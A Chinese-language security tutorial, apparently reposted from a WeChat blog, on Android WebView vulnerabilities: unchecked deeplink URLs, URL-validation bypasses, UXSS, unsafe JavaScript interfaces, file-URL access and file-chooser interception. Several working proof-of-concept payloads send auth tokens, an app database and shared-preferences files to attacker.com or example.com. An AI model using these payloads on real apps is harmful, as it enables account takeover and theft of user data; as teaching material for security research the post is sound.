Android WebView漏洞挖掘

admin 2024年10月24日09:45:11评论38 views字数 10888阅读36分17秒阅读模式

WebView 是一个嵌入式浏览器组件,允许应用程序在应用内显示网页内容,而不需要跳转到外部浏览器,是一种在 Android 应用中嵌入网页或 Web 应用的方式,是 Android 生态系统中使用最广泛的组件,也是最容易出现错误的地方。如果可以加载任意 URL 或执行攻击者控制的 JavaScript 代码,那么通常可能会造成身份验证令牌泄露、任意文件读取和访问任意Intent,甚至可能导致远程代码执行。

Android  WebView漏洞挖掘

典型基础漏洞示例

最常见的情况是,在 WebView 中加载任意 URL 没有任何检查或限制。假设我们有一个 DeeplinkActivity 处理 URL 的程序,例如 myapp://deeplink

文件 AndroidManifest.xml

<activity android:name=".DeeplinkActivity">    <intent-filter>        <action android:name="android.intent.action.VIEW" />        <category android:name="android.intent.category.DEFAULT" />        <data android:scheme="myapp" android:host="deeplink" />    </intent-filter></activity>

在内部,它具有处理 WebView 深层链接的能力:

public class DeeplinkActivity extends Activity {    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        handleDeeplink(getIntent());    }    private void handleDeeplink(Intent intent) {        Uri deeplink = intent.getData();        if ("/webview".equals(deeplink.getPath())) {            String url = deeplink.getQueryParameter("url");            handleWebViewDeeplink(url);        }    }    private void handleWebViewDeeplink(String url) {        WebView webView = ...;        setupWebView(webView);        webView.loadUrl(url, getAuthHeaders());    }    private Map<String, String> getAuthHeaders() {        Map<String, String> headers = new HashMap<>();        headers.put("Authorization", getUserToken());        return headers;    }}

在这种情况下,攻击者可以通过创建包含以下代码的页面来进行远程攻击,以获取用户的身份验证令牌:

<!DOCTYPE html><html><body style="text-align: center;">    <h1><a href="myapp://deeplink/webview?url=https://attacker.com/">Attack</a></h1></body></html>

当用户点击 时 Attack ,存在漏洞的应用程序会自动 https://attacker.com 在内置 WebView 中打开,并将用户的身份令牌添加到 HTTP 请求的标头中。因此,攻击者可以窃取它并接管受害者的帐户。

URL 验证不足示例

仅检查主机

这是最典型的错误之一。只检查了 host 的值,而忘记了 scheme:

private boolean isValidUrl(String url) {    Uri uri = Uri.parse(url);    return "pikasec.com".equals(uri.getHost());}

例如,攻击者可以使用javascript、content或 file 方案 来绕过检查:

  • javascript://pikasec.com/%0aalert(1)

  • file://pikasec.com/sdcard/exploit.html

  • content://pikasec.com/

javascript Poc中攻击者可以在 WebView 中执行任意JavaScript 代码

content  Poc中可以声明具有指定权限的内容提供程序,并使用该 ContentProvider.openFile() 方法返回任意文件

File Poc中允许他们打开公共目录中的文件

使用错误的字符串匹配函数检查Host

开发人员使用逻辑上不正确的方法来验证 URL,例如下列代码

private boolean isValidUrl(String url) {    Uri uri = Uri.parse(url);    return "https".equals(uri.getScheme()) && uri.getHost().endsWith("pikasec.com");}

此处前半部分检查Scheme是没有问题的,但是在检测Host时,使用了endsWith,那么当host为xxxpikasec.com ,也是符合的,所以就可以绕过Host检测

使用 HierarchicalUri 和 Java Reflection API 绕过Host equals检查

让我们看一个看似安全的 URL 验证的示例:

Uri uri = getIntent().getData();boolean isValidUrl = "https".equals(uri.getScheme()) && uri.getUserInfo() == null && "pikasec.com".equals(uri.getHost());if (isValidUrl) {    webView.loadUrl(uri.toString(), getAuthHeaders());}

android.net.Uri 在Android上被广泛使用,但实际上它是一个抽象类, android.net.Uri$HierarchicalUri 是其子类之一。Java Reflection API 使得创建能够绕过此检查的Uri成为可能。使用下列Poc测试下

MainActivity.java

public class MainActivity extends Activity {    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        Uri uri;        try {            Class partClass = Class.forName("android.net.Uri$Part");            Constructor partConstructor = partClass.getDeclaredConstructors()[0];            partConstructor.setAccessible(true);            Class pathPartClass = Class.forName("android.net.Uri$PathPart");            Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];            pathPartConstructor.setAccessible(true);            Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");            Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];            hierarchicalUriConstructor.setAccessible(true);            Object authority = partConstructor.newInstance("pikasec.com", "pikasec.com");            Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");            uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);        } catch (Exception e) {            throw new RuntimeException(e);        }        Intent intent = new Intent();        intent.setData(uri);        intent.setClass(this, TestActivity.class);        startActivity(intent);    }}

TestActivity.java

public class TestActivity extends Activity {    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        Intent intent = getIntent();        Uri uri = intent.getData();        Log.d("evil", "Scheme: " + uri.getScheme());        Log.d("evil", "UserInfo: " + uri.getUserInfo());        Log.d("evil", "Host: " + uri.getHost());        Log.d("evil", "toString(): " + uri.toString());    }}

日志如下:

Scheme: https
UserInfo: null
Host: pikasec.com
toString(): https://[email protected]

可以看到通过这种方式可以绕过精准匹配,但此种方式有所限制,,Android 9(API 级别 28)及更高版本对反射的使用有了更严格的限制和警告。如果目标设备系统版本较新,利用反射构造私有内部类的 Uri 可能会失败。

旧版 Android 上的反斜杠绕过

在 API  24(即 Android 7.0)以下的设备上,android.net.Uri 解析器 java.net.URL 存在绕过风险。如果我们运行以下代码

String url = "https://attacker.com\\@pikasec.com";Log.d("evil", Uri.parse(url).getHost()); // `pikasec.com` printedwebView.loadUrl(url, getAuthHeaders()); // `https://attacker.com//@pikasec.com` loaded

因此,这种攻击使我们能够绕过以下检查:

private boolean isValidUrl(String url) {    Uri uri = Uri.parse(url);    return "https".equals(uri.getScheme()) && "pikasec.com".equals(uri.getHost());}

通用XSS示例

攻击者还可以控制baseUridata 参数

webView.loadDataWithBaseURL("https://google.com/",        "<script>document.write(document.domain)</script>",        null, null, null);

并在任意网站上受到XSS攻击,还有另一种比较经典的UXSS。我们来看看导出的代码 WebActivity

public class WebActivity extends Activity {    private WebView webView;    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.web_activity);        this.webView = findViewById(R.id.webView);        this.webView.getSettings().setJavaScriptEnabled(true);        this.webView.loadUrl(getIntent().getDataString());    }    protected void onNewIntent(Intent intent) {        super.onNewIntent(intent);        this.webView.loadUrl(intent.getDataString());    }}

在这种情况下, onCreate 在活动首次启动时调用,并且 onNewIntent 每次活动收到新的 Intent 时都会调用。以下代码允许在易受攻击的应用程序中实现 UXSS:

Intent intent = new Intent();intent.setData(Uri.parse("https://google.com/"));intent.setClassName("com.pikasec", "com.pikasec.WebActivity");startActivity(intent);new Handler().postDelayed(() -> {    intent.setData(Uri.parse("javascript:document.write(document.domain))"));    startActivity(intent);}, 3000);

首次运行时,他会访问一个域名网站。然后再将运行注入的JS代码,这种通常是为了方式第一次会校验白名单域名,通过延时注入来进行JS代码

JavaScript 代码注入示例

开发人员经常不安全地将数据与 JavaScript 代码连接起来,导致加载的域上出现 XSS:

this.webView.loadUrl("https://pikasec.com/");String page = getIntent().getData().getQueryParameter("page");this.webView.evaluateJavascript("loadPage('" + page + "')", null);
或者使用下列:
this.webView.loadUrl("javascript:loadPage('" + page + "')");
这种攻击类似于 Web 世界中的基于 DOM 的 XSS。但在 Android 上,根据 WebView 配置,可以进一步利用该漏洞。

针对内部 URL 处理程序的攻击

许多 Android 应用程序都使用

WebViewClient.shouldOverrideUrlLoading()方法来自定义 URL 处理逻辑  ,但其功能通常以不安全的方式实现:

class CustomClient extends WebViewClient {    public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {        Uri uri = request.getUrl();        String url = uri.toString();        if (url.startsWith("intent://")) {            try {                Intent intent = Intent.parseUri(url, 0);                view.getContext().startActivity(intent);            } catch (URISyntaxException e) {            }            return true;        }        String page;        if ((page = uri.getQueryParameter("page")) != null) {            view.evaluateJavascript("loadPage('" + page + "')", null);            return true;        }        return super.shouldOverrideUrlLoading(view, request);    }}this.webView.setWebViewClient(new CustomClient());this.webView.loadUrl(attackerControlledUrl);

在加载每个 URL 时,WebView 会调用该 shouldOverrideUrlLoading 方法来检查是否需要由应用程序或 WebView 本身处理。通常,这用于启动activities或handlers以获取额外的deeplink列表。重要的是要注意,即使攻击者无法绕过加载任意域的检查,他们仍然可以尝试利用处理程序。

例如,在此示例中,攻击者可以通过打开来启动任意activity,并在已加载的页面上实现 XSS https://pikasec.com/?page='-alert(1)-'

针对 JavaScript 接口的攻击

如果应用将 JavaScript 接口添加到 WebView,攻击者只要能在此 WebView 内执行任意代码即可获得这些接口的访问权限。通常,JS 接口分为两类:第一类返回数据(例如地理位置或用户的身份验证令牌),第二类执行操作(例如拍照或向指定端点发送查询)。

class JSInterface {    @JavascriptInterface    public String getAuthToken() {        //...    }    @JavascriptInterface    public void takePicture(String callback) {        //...    }}this.webView.addJavascriptInterface(new JSInterface(), "JSInterface");this.webView.loadUrl(attackerControlledUrl);

在这种情况下,WebView 会自动创建一个具有指定名称的 JavaScript 对象,并且使用从 Java 代码导入的方法。要从此示例中获取用户的令牌,我们需要做的就是运行以下代码:

<script type="text/javascript">    location.href = "https://attacker.com/?leaked_token=" + JSInterface.getAuthToken();</script>

允许通过File URL 进行文件访问的攻击

当设置setAllowFileAccessFromFileURLs为true时,可能会发生此攻击:

this.webView.getSettings().setAllowFileAccessFromFileURLs(true);
或者
this.webView.getSettings().setAllowUniversalAccessFromFileURLs(true);
攻击者可以将任意 URL 加载到 WebView 中:
this.webView.loadUrl(attackerControlledUrl);

在这种情况下,攻击者可以使用 XHR 查询来获取易受攻击的应用程序可以访问的任意文件的内容,并将其发送到远程恶意服务端:

<script type="text/javascript">    function theftFile(path, callback) {      var req = new XMLHttpRequest();      req.open("GET", "file://" + path, true);      req.onload = function(e) {        callback(req.responseText);      }      req.onerror = function(e) {        callback(null);      }      req.send();    }    var file = "/data/user/0/com.pikasec/databases/user.db";    theftFile(file, function(contents) {        location.href = "https://attacker.com/?data=" + encodeURIComponent(contents);    });</script>

通过文件选择器窃取任意文件

开发人员经常希望让用户从存储在其设备上的文件中做出选择。例如,HTML 提供了 <input type="file" ... /> 用于此目的的元素。在 Android 上,需要实现 WebChromeClient.onShowFileChooser() 方法来描述文件选择逻辑。通常,它会利用隐式意图来获取 URI,这些 URI 会传递给 ValueCallback.onReceiveValue() 方法,而无需进行任何类型的验证。这使得攻击者可以拦截意图并传递受保护文件的 URI,从而导致任意文件被盗。

存在漏洞的应用程序示例:

private static final int CONTENT_CODE = 1337;private WebView webView;private ValueCallback<Uri[]> callback;protected void onCreate(Bundle savedInstanceState) {    super.onCreate(savedInstanceState);    setContentView(R.layout.main_activity);    webView = findViewById(R.id.webView);    webView.setWebChromeClient(new WebChromeClient() {        public boolean onShowFileChooser(WebView webView, ValueCallback<Uri[]> filePathCallback, FileChooserParams fileChooserParams) {            callback = filePathCallback;            startActivityForResult(fileChooserParams.createIntent(), CONTENT_CODE);            return true;        }    });    String someAttackerControlledUrl = getIntent().getDataString();    webView.loadUrl(someAttackerControlledUrl);}protected void onActivityResult(int requestCode, int resultCode, Intent data) {    super.onActivityResult(requestCode, resultCode, data);    if (resultCode != Activity.RESULT_OK) {        // Handle error        return;    }    switch (requestCode) {        case CONTENT_CODE: {            callback.onReceiveValue(new Uri[]{ data.getData() });            return;        }    }}

如果您查看 Android 源代码(或者更确切地说是 com.google.android.webview Google 的 Android 上的应用程序源代码),您会发现即使是标准方法也会返回隐式意图。通常,开发人员还会使用隐式意图来选择文件

攻击者可以 拦截 FileChooserParams.onShowFileChooser() 这些意图 ,然后返回受保护文件的 URI。

攻击示例:

页面的 HTML 代码

<input type="file" accept="application/pdf" onchange="blockCallback(window.URL.createObjectURL(this.files[0]))"><script type="text/javascript">    function blockCallback(blobUrl) {        theftFile(blockUrl, function(contents) {             // Leak file contents to a third-party URL            new Image().src = "http://example.com/?data=" + encodeURIComponent(contents);        });    }    function theftFile(url, callback) {      var req = new XMLHttpRequest();      req.open("GET", url, true);      req.onload = function(e) {        callback(req.responseText);      }      req.onerror = function(e) {        callback("error");      }      req.send();    }</script>

攻击者应用程序的代码

文件 AndroidManifest.xml

<activity android:name=".PickerActivity" android:enabled="true" android:exported="true">    <intent-filter android:priority="999">        <action android:name="android.intent.action.GET_CONTENT" />        <category android:name="android.intent.category.OPENABLE" />        <category android:name="android.intent.category.DEFAULT" />        <data android:mimeType="application/pdf" />    </intent-filter></activity>

文件 PickerActivity.java

public class PickerActivity extends Activity {    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        Uri uri = Uri.parse("file:///data/user/0/com.pikasec/shared_prefs/secrets.xml");        setResult(-1, new Intent().setData(uri));        finish();    }}

原文始发于微信公众号(暴暴的皮卡丘):Android WebView漏洞挖掘

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月24日09:45:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Android WebView漏洞挖掘https://cn-sec.com/archives/3308043.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息